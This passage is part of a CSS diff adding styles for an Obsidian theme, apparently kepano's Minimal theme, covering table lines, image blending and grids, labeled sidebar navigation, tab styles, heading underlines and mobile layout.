+.row-lines:not(.table-lines) .markdown-source-view:not(.cards) .table-view-table > tbody > tr:not(:last-child) > td, +.row-lines:not(.table-lines) .markdown-preview-view:not(.cards) table:not(.calendar) tbody > tr:not(:last-child) > td, +.row-lines:not(.table-lines) .markdown-preview-view:not(.cards) .table-view-table > tbody > tr:not(:last-child) > td { + border-bottom: var(--table-border-width) solid var(--table-border-color); +} + +.col-lines { + --bases-table-column-border-width: var(--table-border-width); +} +.col-lines table:not(.calendar) tbody > tr > td:not(:last-child), +.col-lines .table-view-table thead > tr > th:not(:last-child), +.col-lines .table-view-table > tbody > tr > td:not(:last-child) { + border-right: var(--table-border-width) solid var(--background-modifier-border); +} + +/* Dark mode images */ +/* MIT License | Copyright (c) Stephan Ango (@kepano) */ +:root { + --image-mix: normal ; +} + +.image-blend-light { + --image-mix: multiply; +} + +.theme-dark .markdown-source-view img, +.theme-dark .markdown-preview-view img { + opacity: var(--image-muted); + transition: opacity 0.25s linear; +} + +@media print { + body { + --image-muted: 1; + } +} +.theme-dark .print-preview img, +.theme-dark .markdown-source-view img:hover, +.theme-dark .markdown-preview-view img:hover { + opacity: 1; + transition: opacity 0.25s linear; +} + +.theme-light img { + mix-blend-mode: var(--image-mix); +} + +/* Invert */ +div[src$="#blend"], +div[src$="#invert"] { + background-color: var(--background-primary); +} + +.theme-dark img[src$="#invert"], +.theme-dark div[src$="#invert"] img, +.theme-dark span[src$="#invert"] img { + filter: invert(1) hue-rotate(180deg); + mix-blend-mode: screen; +} +.theme-dark img[src$="#blend"], +.theme-dark div[src$="#blend"] img, +.theme-dark span[src$="#blend"] img { + mix-blend-mode: screen; +} +.theme-dark .img-blend { + mix-blend-mode: screen; +} + +.theme-light img[src$="#blend"], +.theme-light div[src$="#blend"] img, +.theme-light span[src$="#blend"] img { + mix-blend-mode: multiply; +} +.theme-light img[src$="#invertW"], +.theme-light div[src$="#invertW"] img, +.theme-light span[src$=invertW] img { + filter: invert(1) hue-rotate(180deg); +} +.theme-light .img-blend { + mix-blend-mode: multiply; +} + +/* Circle */ +img[src$="#circle"]:not(.emoji), +span[src$="#circle"] img:not(.emoji), +span[src$="#round"] img:not(.emoji) { + border-radius: 50%; + aspect-ratio: 1/1; +} + +/* Outline */ +img[src$="#outline"], +div[src$="#outline"] img, +span[src$="#outline"] img { + border: 1px solid var(--ui1); +} + +/* Interface */ +img[src$="#interface"], +span[src$="#interface"] img { + border: 1px solid var(--ui1); + box-shadow: 0px 0.5px 0.9px rgba(0, 0, 0, 0.021), 0px 1.3px 2.5px rgba(0, 0, 0, 0.03), 0px 3px 6px rgba(0, 0, 0, 0.039), 0px 10px 20px rgba(0, 0, 0, 0.06); + margin-top: 10px; + margin-bottom: 15px; + border-radius: var(--radius-m); +} + +/* MIT License | Copyright (c) Stephan Ango (@kepano) + +Image Grid snippet for Obsidian + +author: @kepano +version: 4.0.0 + +Support my work: +https://github.com/sponsors/kepano + +*/ +/* Revamped for Obsidian 1.1.9+ using :has() */ +body { + --image-grid-fit: cover; + --image-grid-background: transparent; + --img-grid-gap: 0.5rem; +} + +@media (max-width: 400pt) { + body { + --img-grid-gap: 0.25rem; + } +} +.img-grid-ratio { + --image-grid-fit: contain; +} + +.img-grid .image-embed.is-loaded { + line-height: 0; + display: flex; + align-items: stretch; +} +.img-grid .image-embed.is-loaded img { + background-color: var(--image-grid-background); +} +.img-grid .image-embed.is-loaded img:active { + background-color: transparent; +} +.img-grid .markdown-preview-section > div:has(img) p:empty, +.img-grid .markdown-preview-section > div:has(img) img ~ br, +.img-grid .markdown-preview-section > div:has(img) .image-embed ~ br { + display: none; +} +.img-grid .markdown-preview-section :is(div, p):has(> :is(.image-embed, img) ~ :is(.image-embed, img)) { + display: grid; + margin-block-start: var(--img-grid-gap); + margin-block-end: var(--img-grid-gap); + grid-column-gap: var(--img-grid-gap); + grid-row-gap: 0; + grid-template-columns: repeat(auto-fit, minmax(0, 1fr)); +} +.img-grid .markdown-preview-section :is(div, p):has(> :is(.image-embed, img) ~ :is(.image-embed, img)) > img { + object-fit: var(--image-grid-fit); + align-self: stretch; +} +.img-grid .markdown-preview-section :is(div, p):has(> :is(.image-embed, img) ~ :is(.image-embed, img)) > .internal-embed img { + object-fit: var(--image-grid-fit); + align-self: center; +} +.img-grid .markdown-preview-section > div:has(img) > p { + display: grid; + margin-block-start: var(--img-grid-gap); + margin-block-end: var(--img-grid-gap); + grid-column-gap: var(--img-grid-gap); + grid-row-gap: 0; + grid-template-columns: repeat(auto-fit, minmax(0, 1fr)); +} +.img-grid .markdown-preview-section > div:has(img) > p > br { + display: none; +} + +/* MIT License | Copyright (c) Stephan Ango (@kepano) + +Labeled Nav snippet for Obsidian + +author: @kepano +version: 2.0.0 + +Support my work: +https://github.com/sponsors/kepano + +*/ +.labeled-nav.mod-windows, +.labeled-nav.is-fullscreen:not(.colorful-frame) { + --labeled-nav-top-margin: 0; +} + +.labeled-nav { + --labeled-nav-top-margin: var(--header-height); +} +.labeled-nav.is-translucent .mod-left-split .mod-top .workspace-tab-header-container .workspace-tab-header-container-inner { + background-color: transparent; +} +.labeled-nav.is-hidden-frameless:not(.is-fullscreen) .mod-left-split .workspace-tabs.mod-top-left-space .workspace-tab-header-container { + padding-left: 0; +} +.labeled-nav.mod-macos .mod-left-split .mod-top .workspace-tab-header-container:before, .labeled-nav.mod-macos.is-hidden-frameless:not(.is-fullscreen) .mod-left-split .mod-top .workspace-tab-header-container:before { + -webkit-app-region: drag; + position: absolute; + width: calc(100% - var(--divider-width)); + height: calc(var(--header-height) - var(--tab-outline-width)); + border-bottom: 0px solid var(--tab-outline-color); +} +.labeled-nav.mod-macos.is-hidden-frameless:not(.is-fullscreen) .workspace-ribbon.mod-left:not(.is-collapsed) { + border: none; + --tab-outline-width: 0px; +} +.labeled-nav:not(.is-hidden-frameless) .mod-left-split .mod-top .workspace-tab-header-container:before, .labeled-nav.mod-macos:not(.hider-ribbon) .mod-left-split .mod-top .workspace-tab-header-container:before, .labeled-nav.colorful-frame.is-hidden-frameless:not(.is-fullscreen) .mod-left-split .mod-top .workspace-tab-header-container:before { + border-bottom: var(--tab-outline-width) solid var(--tab-outline-color); +} +.labeled-nav:not(.is-hidden-frameless) .workspace-ribbon.mod-left:not(.is-collapsed), .labeled-nav.mod-macos:not(.hider-ribbon) .workspace-ribbon.mod-left:not(.is-collapsed), .labeled-nav.colorful-frame.is-hidden-frameless:not(.is-fullscreen) .workspace-ribbon.mod-left:not(.is-collapsed) { + --tab-outline-width: 1px; +} +.labeled-nav:not(.is-hidden-frameless) .mod-left-split .mod-top .workspace-tab-header-container:before { + position: absolute; + top: 0; + content: " "; +} +.labeled-nav.hider-ribbon.mod-macos.is-hidden-frameless:not(.is-fullscreen):not(.is-popout-window) .mod-left-split:not(.is-sidedock-collapsed) .workspace-tabs.mod-top-left-space .workspace-tab-header-container { + padding-left: 0; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-spacer { + display: none; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-inner-title { + display: inline-block; + font-weight: 500; + font-size: var(--font-adaptive-smaller); +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-container { + position: relative; + flex-direction: column-reverse !important; + height: auto; + width: 100%; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-container .sidebar-toggle-button.mod-left { + position: absolute; + justify-content: flex-end; + padding-right: var(--size-4-2); + top: 0; + right: 0; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-container .workspace-tab-header-container-inner { + padding: var(--size-4-2) var(--size-4-2); + margin-top: var(--labeled-nav-top-margin); + flex-direction: column !important; + background-color: var(--background-secondary); +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-container .workspace-tab-container-inner { + flex-grow: 1; + gap: 0; + padding: var(--size-4-2) var(--size-4-3); +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header { + --icon-color: var(--text-muted); + --tab-text-color: var(--text-muted); + --tab-text-color-focused: var(--text-muted); + padding: 0; + margin-bottom: 2px; + border: none; + height: auto; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active:not(:hover) { + background-color: transparent; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active, .labeled-nav .mod-left-split .mod-top .workspace-tab-header:hover { + opacity: 1; + --tab-text-color-active: var(--text-normal); + --tab-text-color-focused: var(--text-normal); + --tab-text-color-focused-active: var(--text-normal); + --tab-text-color-focused-active-current: var(--text-normal); + --icon-color: var(--text-normal); +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header .workspace-tab-header-inner { + gap: var(--size-2-3); + padding: var(--size-4-1) var(--size-4-2); + box-shadow: none; + border: none; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header.has-active-menu:hover, +.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active:hover { + background-color: transparent; +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active:hover .workspace-tab-header-inner, +.labeled-nav .mod-left-split .mod-top .workspace-tab-header:not(.is-active):hover .workspace-tab-header-inner { + background-color: var(--nav-item-background-hover); +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header:hover .workspace-tab-header-inner-icon, +.labeled-nav .mod-left-split .mod-top .workspace-tab-header.is-active .workspace-tab-header-inner-icon { + color: var(--icon-color-active); +} +.labeled-nav .mod-left-split .mod-top .workspace-tab-header-container { + border: none; + padding: 0; +} + +/* Links and underline handling*/ +body:not(.links-int-on) { + --link-decoration: none; +} + +body:not(.links-ext-on) { + --link-external-decoration: none; +} + +body:not(.sidebar-color) .mod-right-split { + --background-secondary: var(--background-primary); +} +body:not(.sidebar-color) .mod-right-split :not(.mod-top) .workspace-tab-header-container { + --tab-container-background: var(--background-primary); +} + +/* Main tabs */ +.theme-light, +.theme-dark { + --minimal-tab-text-color: var(--tx2); + --minimal-tab-text-color-active: var(--tx1); +} + +.workspace-tabs:not(.mod-stacked) { + --tab-text-color: var(--minimal-tab-text-color); + --tab-text-color-focused: var(--minimal-tab-text-color); + --tab-text-color-active: var(--minimal-tab-text-color-active); + --tab-text-color-focused-active: var(--minimal-tab-text-color-active); + --tab-text-color-focused-active-current: var(--minimal-tab-text-color-active); +} + +.tabs-plain-square .mod-root { + --tab-curve: 0; + --tab-radius: 0; + --tab-radius-active: 0; +} +.tabs-plain-square .mod-root .workspace-tab-header-container { + padding-left: 0; + padding-right: 0; +} +.tabs-plain-square .mod-root .workspace-tab-header-container-inner { + margin-top: -1px; + margin-left: -15px; +} +.tabs-plain-square .mod-root .workspace-tab-header { + padding: 0; +} +.tabs-plain-square .mod-root .workspace-tab-header-inner { + padding: 0 8px; +} + +.tabs-square .mod-root { + --tab-curve: 0; + --tab-radius: 0; + --tab-radius-active: 0; +} + +.tabs-underline .mod-root { + --tab-curve: 0; + --tab-radius: 0; + --tab-radius-active: 0; + --tab-outline-width: 0px; + --tab-background-active: transparent; +} +.tabs-underline .mod-root .workspace-tab-header-container { + border-bottom: 1px solid var(--divider-color); +} +.tabs-underline .mod-root .workspace-tab-header { + border-bottom: 2px solid transparent; +} +.tabs-underline .mod-root .workspace-tab-header:hover { + border-bottom: 2px solid var(--ui2); +} +.tabs-underline .mod-root .workspace-tab-header:hover .workspace-tab-header-inner { + background-color: transparent; +} +.tabs-underline .mod-root .workspace-tab-header.is-active { + border-bottom: 2px solid var(--ax3); +} +.tabs-underline .mod-root .workspace-tab-header-inner:hover { + background-color: transparent; +} + +/* Remove underline on lower sidebar tabs */ +body:not(.sidebar-tabs-underline):not(.sidebar-tabs-index):not(.sidebar-tabs-square) .workspace > .workspace-split:not(.mod-root) .workspace-tabs:not(.mod-top) .workspace-tab-header-container { + --tab-outline-width: 0; +} + +/* Safari/Firefox style */ +.tabs-modern.colorful-frame .mod-root .mod-top.workspace-tabs:not(.mod-stacked) { + --tab-background: var(--frame-outline-color); + --tab-outline-width: 1px; +} +.tabs-modern.colorful-frame .mod-root .mod-top.workspace-tabs:not(.mod-stacked) .workspace-tab-header:hover .workspace-tab-header-inner-close-button, +.tabs-modern.colorful-frame .mod-root .mod-top.workspace-tabs:not(.mod-stacked) .workspace-tab-header.is-active .workspace-tab-header-inner-close-button { + color: var(--minimal-tab-text-color-active); +} +.tabs-modern.minimal-focus-mode .mod-root .workspace-tab-header-container:hover { + --tab-outline-width: 0px; +} +.tabs-modern .mod-root { + --tab-container-background: var(--background-primary); +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) { + --tab-background: var(--background-modifier-hover); + --tab-height: calc(var(--header-height) - 14px); + --tab-outline-width: 0px; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header::before, +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header::after, +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header-inner::after { + display: none; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header-container-inner { + align-items: center; + margin: 0; + padding: 2px var(--size-4-2) 0 var(--size-4-1); +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header-inner-title { + text-overflow: ellipsis; + -webkit-mask-image: none; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header { + background: transparent; + border-radius: 5px; + border: none; + box-shadow: none; + height: var(--tab-height); + margin-left: var(--size-4-1); + padding: 0; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header.is-active .workspace-tab-header-inner-title { + color: var(--tab-text-color-active); +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header:hover, .tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header.is-active.mod-active { + opacity: 1; + background-color: var(--tab-background); +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header-new-tab { + margin-inline-end: 0; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header-inner { + padding: 0 var(--size-4-1) 0 var(--size-4-2); + border: 1px solid transparent; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header:not(.is-active):hover .workspace-tab-header-inner { + background-color: transparent; +} +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header:not(:hover):not(.mod-active) .workspace-tab-header-inner, +.tabs-modern .mod-root .workspace-tabs:not(.mod-stacked) .workspace-tab-header.is-active:not(.mod-active) .workspace-tab-header-inner { + border: 1px solid var(--tab-outline-color); +} + +/* Sidebar tabs ------------ */ +.tab-names-on .workspace-split:not(.mod-root) .workspace-tab-header-container-inner { + --sidebar-tab-text-display: static; +} +.tab-names-on .workspace-split:not(.mod-root) .workspace-tab-header-container-inner .workspace-tab-header-inner-title { + font-weight: 500; +} +.tab-names-on .workspace-split:not(.mod-root) .workspace-tab-header-container-inner .workspace-tab-header-inner { + gap: var(--size-2-3); +} + +.tab-names-single .workspace > .workspace-split:not(.mod-root) .workspace-tab-header-container-inner .workspace-tab-header:only-child { + --sidebar-tab-text-display: static; + background-color: transparent; +} +.tab-names-single .workspace > .workspace-split:not(.mod-root) .workspace-tab-header-container-inner .workspace-tab-header:only-child .workspace-tab-header-inner-title { + font-weight: 500; +} +.tab-names-single .workspace > .workspace-split:not(.mod-root) .workspace-tab-header-container-inner .workspace-tab-header:only-child .workspace-tab-header-inner { + gap: var(--size-2-3); +} + +.tabs-modern.sidebar-tabs-wide .mod-right-split, +.tabs-modern.sidebar-tabs-default .mod-right-split { + --tab-outline-width: 0; +} + +/* Underline */ +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-spacer, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-spacer, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-spacer { + display: none; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container { + padding-right: 0; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container-inner, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container-inner, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container-inner { + padding: 0; + margin: 0; + flex-grow: 1; + gap: 0; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header { + flex-grow: 1; + border-radius: 0; + max-width: 100px; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header:hover, .sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header.is-active, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header:hover, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header.is-active, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header:hover, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header.is-active { + background-color: transparent; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header:hover .workspace-tab-header-inner, .sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header.is-active .workspace-tab-header-inner, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header:hover .workspace-tab-header-inner, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header.is-active .workspace-tab-header-inner, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header:hover .workspace-tab-header-inner, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header.is-active .workspace-tab-header-inner { + background-color: transparent; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header .workspace-tab-header-inner, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header .workspace-tab-header-inner, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header .workspace-tab-header-inner { + border-bottom: 2px solid transparent; + border-radius: 0; +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header .workspace-tab-header-inner:hover, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header .workspace-tab-header-inner:hover, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header .workspace-tab-header-inner:hover { + border-color: var(--ui2); +} +.sidebar-tabs-underline:not(.labeled-nav) .mod-left-split .workspace-tab-header-container .workspace-tab-header.is-active .workspace-tab-header-inner, .sidebar-tabs-underline.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container .workspace-tab-header.is-active .workspace-tab-header-inner, +.sidebar-tabs-underline .mod-right-split .workspace-tab-header-container .workspace-tab-header.is-active .workspace-tab-header-inner { + border-color: var(--ax3); + padding-top: 1px; +} + +/* Sidebar index style */ +.sidebar-tabs-square .mod-left-split, +.sidebar-tabs-square .mod-right-split { + --tab-radius: 0px; +} + +.sidebar-tabs-plain-square .mod-left-split, +.sidebar-tabs-plain-square .mod-right-split { + --tab-radius: 0px; +} +.sidebar-tabs-plain-square:not(.labeled-nav) .mod-left-split, .sidebar-tabs-plain-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) { + --tab-background-active: var(--background-secondary); +} +.sidebar-tabs-plain-square:not(.labeled-nav) .mod-left-split .workspace-tab-header-container, .sidebar-tabs-plain-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container, +.sidebar-tabs-plain-square .mod-right-split .workspace-tab-header-container { + padding-left: 0; +} +.sidebar-tabs-plain-square:not(.labeled-nav) .mod-left-split .workspace-tab-header-container-inner, .sidebar-tabs-plain-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container-inner, +.sidebar-tabs-plain-square .mod-right-split .workspace-tab-header-container-inner { + padding: 0; + margin: 0 0 calc(var(--tab-outline-width) * -1); + flex-grow: 1; + gap: 0; +} +.sidebar-tabs-plain-square:not(.labeled-nav) .mod-left-split .workspace-tab-header, .sidebar-tabs-plain-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header, +.sidebar-tabs-plain-square .mod-right-split .workspace-tab-header { + flex-grow: 1; + max-width: 100px; + border-radius: var(--tab-radius) var(--tab-radius) 0 0; +} +.sidebar-tabs-plain-square:not(.labeled-nav) .mod-left-split .workspace-tab-header.is-active, .sidebar-tabs-plain-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header.is-active, +.sidebar-tabs-plain-square .mod-right-split .workspace-tab-header.is-active { + box-shadow: 0 0 0 var(--tab-outline-width) var(--tab-outline-color); + color: var(--tab-text-color-active); + background-color: var(--tab-background-active); +} + +.sidebar-tabs-square:not(.labeled-nav) .mod-left-split, .sidebar-tabs-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top), +.sidebar-tabs-index:not(.labeled-nav) .mod-left-split, +.sidebar-tabs-index.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) { + --tab-background-active: var(--background-secondary); +} +.sidebar-tabs-square:not(.labeled-nav) .mod-left-split .workspace-tab-header-container-inner, .sidebar-tabs-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container-inner, +.sidebar-tabs-square .mod-right-split .workspace-tab-header-container-inner, +.sidebar-tabs-index:not(.labeled-nav) .mod-left-split .workspace-tab-header-container-inner, +.sidebar-tabs-index.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container-inner, +.sidebar-tabs-index .mod-right-split .workspace-tab-header-container-inner { + padding: 1px var(--size-4-2) 0; + margin: 6px 0 calc(var(--tab-outline-width) * -1); + flex-grow: 1; +} +.sidebar-tabs-square:not(.labeled-nav) .mod-left-split .workspace-tab-header, .sidebar-tabs-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header, +.sidebar-tabs-square .mod-right-split .workspace-tab-header, +.sidebar-tabs-index:not(.labeled-nav) .mod-left-split .workspace-tab-header, +.sidebar-tabs-index.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header, +.sidebar-tabs-index .mod-right-split .workspace-tab-header { + flex-grow: 1; + max-width: 100px; + border-radius: var(--tab-radius) var(--tab-radius) 0 0; +} +.sidebar-tabs-square:not(.labeled-nav) .mod-left-split .workspace-tab-header.is-active, .sidebar-tabs-square.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header.is-active, +.sidebar-tabs-square .mod-right-split .workspace-tab-header.is-active, +.sidebar-tabs-index:not(.labeled-nav) .mod-left-split .workspace-tab-header.is-active, +.sidebar-tabs-index.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header.is-active, +.sidebar-tabs-index .mod-right-split .workspace-tab-header.is-active { + box-shadow: 0 0 0 var(--tab-outline-width) var(--tab-outline-color); + color: var(--tab-text-color-active); + background-color: var(--tab-background-active); +} + +/* Modern Wide */ +.sidebar-tabs-wide:not(.labeled-nav) .mod-left-split .workspace-tab-header-container-inner, .sidebar-tabs-wide.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container-inner, +.sidebar-tabs-wide .mod-right-split .workspace-tab-header-container-inner { + flex-grow: 1; + border: 1px solid var(--tab-outline-color); + padding: 3px; + margin: 6px 8px; + border-radius: 4px; +} +.sidebar-tabs-wide:not(.labeled-nav) .mod-left-split .workspace-tab-header, .sidebar-tabs-wide.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header, +.sidebar-tabs-wide .mod-right-split .workspace-tab-header { + flex-grow: 1; +} +.sidebar-tabs-wide:not(.labeled-nav) .mod-left-split .workspace-tab-header.is-active, .sidebar-tabs-wide.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header.is-active, +.sidebar-tabs-wide .mod-right-split .workspace-tab-header.is-active { + border-color: transparent; +} +.sidebar-tabs-wide:not(.labeled-nav) .mod-left-split .workspace-tab-header-container, .sidebar-tabs-wide.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-container, +.sidebar-tabs-wide .mod-right-split .workspace-tab-header-container { + padding-right: 0; +} +.sidebar-tabs-wide:not(.labeled-nav) .mod-left-split .workspace-tab-header-spacer, .sidebar-tabs-wide.labeled-nav .mod-left-split .workspace-tabs:not(.mod-top) .workspace-tab-header-spacer, +.sidebar-tabs-wide .mod-right-split .workspace-tab-header-spacer { + display: none; +} + +/* Turn off file name trimming */ +.full-file-names { + --nav-item-white-space: normal; +} + +body:not(.full-file-names) { + --nav-item-white-space: nowrap; +} +body:not(.full-file-names) .tree-item-self { + white-space: nowrap; +} +body:not(.full-file-names) .tree-item-inner { + text-overflow: ellipsis; + overflow: hidden; +} + +/* Underline headings */ +.theme-light, +.theme-dark { + --h1l:var(--ui1); + --h2l:var(--ui1); + --h3l:var(--ui1); + --h4l:var(--ui1); + --h5l:var(--ui1); + --h6l:var(--ui1); +} + +.h1-l .markdown-reading-view h1:not(.embedded-note-title), +.h1-l .mod-cm6 .cm-editor .HyperMD-header-1 { + border-bottom: 1px solid var(--h1l); + padding-bottom: 0.4em; + margin-block-end: 0.6em; +} + +.h2-l .markdown-reading-view h2, +.h2-l .mod-cm6 .cm-editor .HyperMD-header-2 { + border-bottom: 1px solid var(--h2l); + padding-bottom: 0.4em; + margin-block-end: 0.6em; +} + +.h3-l .markdown-reading-view h3, +.h3-l .mod-cm6 .cm-editor .HyperMD-header-3 { + border-bottom: 1px solid var(--h3l); + padding-bottom: 0.4em; + margin-block-end: 0.6em; +} + +.h4-l .markdown-reading-view h4, +.h4-l .mod-cm6 .cm-editor .HyperMD-header-4 { + border-bottom: 1px solid var(--h4l); + padding-bottom: 0.4em; + margin-block-end: 0.6em; +} + +.h5-l .markdown-reading-view h5, +.h5-l .mod-cm6 .cm-editor .HyperMD-header-5 { + border-bottom: 1px solid var(--h5l); + padding-bottom: 0.4em; + margin-block-end: 0.6em; +} + +.h6-l .markdown-reading-view h6, +.h6-l .mod-cm6 .cm-editor .HyperMD-header-6 { + border-bottom: 1px solid var(--h6l); + padding-bottom: 0.4em; + margin-block-end: 0.6em; +} + +/* Tablet */ +.is-tablet .workspace-drawer { + padding-top: 0px; +} +.is-tablet .workspace-drawer:not(.is-pinned) { + margin: 30px 16px 0; + height: calc(100vh - 48px); + border-radius: 15px; + border: none; +} +.is-tablet .workspace-drawer-ribbon { + background-color: var(--background-primary); + border-right: 1px solid var(--background-modifier-border); +} +.is-tablet .workspace-drawer-header, +.is-tablet .workspace-drawer.is-pinned .workspace-drawer-header { + padding-top: var(--size-4-4); +} +.is-tablet .workspace-drawer-header-icon { + margin-inline-start: 0; +} + +.is-mobile { + --font-bold: 600; + --font-ui-medium: var(--font-adaptive-small); + --interactive-normal: var(--background-secondary); + --background-modifier-form-field: var(--background-secondary); + --background-modifier-form-field-highlighted: var(--background-secondary); +} +.is-mobile .markdown-source-view.mod-cm6 .cm-gutters { + margin-left: 0; +} +.is-mobile.theme-light .menu { + --interactive-normal: var(--background-modifier-hover); +} +.is-mobile.theme-light.minimal-light-tonal .workspace-drawer { + --interactive-normal: rgb(from color-mix(in srgb, var(--bg2), var(--bg3))r g b / 1); +} +.is-mobile .workspace-drawer.mod-left.is-pinned { + width: var(--mobile-left-sidebar-width); + min-width: 150pt; +} +.is-mobile .workspace-drawer.mod-right.is-pinned { + width: var(--mobile-right-sidebar-width); + min-width: 150pt; +} + +.is-phone { + --bases-embed-width: 100%; + --bases-embed-transform: none; +} + +/* Core plugins */ +/* Backlink pane */ +.outgoing-link-pane > .tree-item-self:hover, +.outgoing-link-pane > .tree-item-self, +.backlink-pane > .tree-item-self:hover, +.backlink-pane > .tree-item-self { + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.05em; + font-size: var(--font-adaptive-smallest); + font-weight: 500; +} + +body { + --canvas-dot-pattern: var(--background-modifier-border-hover); +} + +.canvas-node-label { + font-size: var(--font-adaptive-small); +} + +.canvas-edges :not(.is-themed) path.canvas-display-path { + stroke: var(--background-modifier-border-focus); +} + +.canvas-edges :not(.is-themed) polyline.canvas-path-end { + stroke: var(--background-modifier-border-focus); + fill: var(--background-modifier-border-focus); +} + +.canvas-node-container { + border: 1.5px solid var(--background-modifier-border-focus); +} + +.node-insert-event.mod-inside-iframe { + --max-width: 100%; + --folding-offset: 0px; +} +.node-insert-event.mod-inside-iframe .cm-editor .cm-content { + padding-top: 0; +} + +/* File browser */ +.hider-file-nav-header:not(.labeled-nav) .nav-files-container { + padding-top: var(--size-4-3); +} + +.is-mobile .nav-folder.mod-root > .nav-folder-title .nav-folder-title-content { + display: none; +} + +body:not(.is-mobile) .nav-folder.mod-root > .nav-folder-title .nav-folder-title-content { + font-weight: 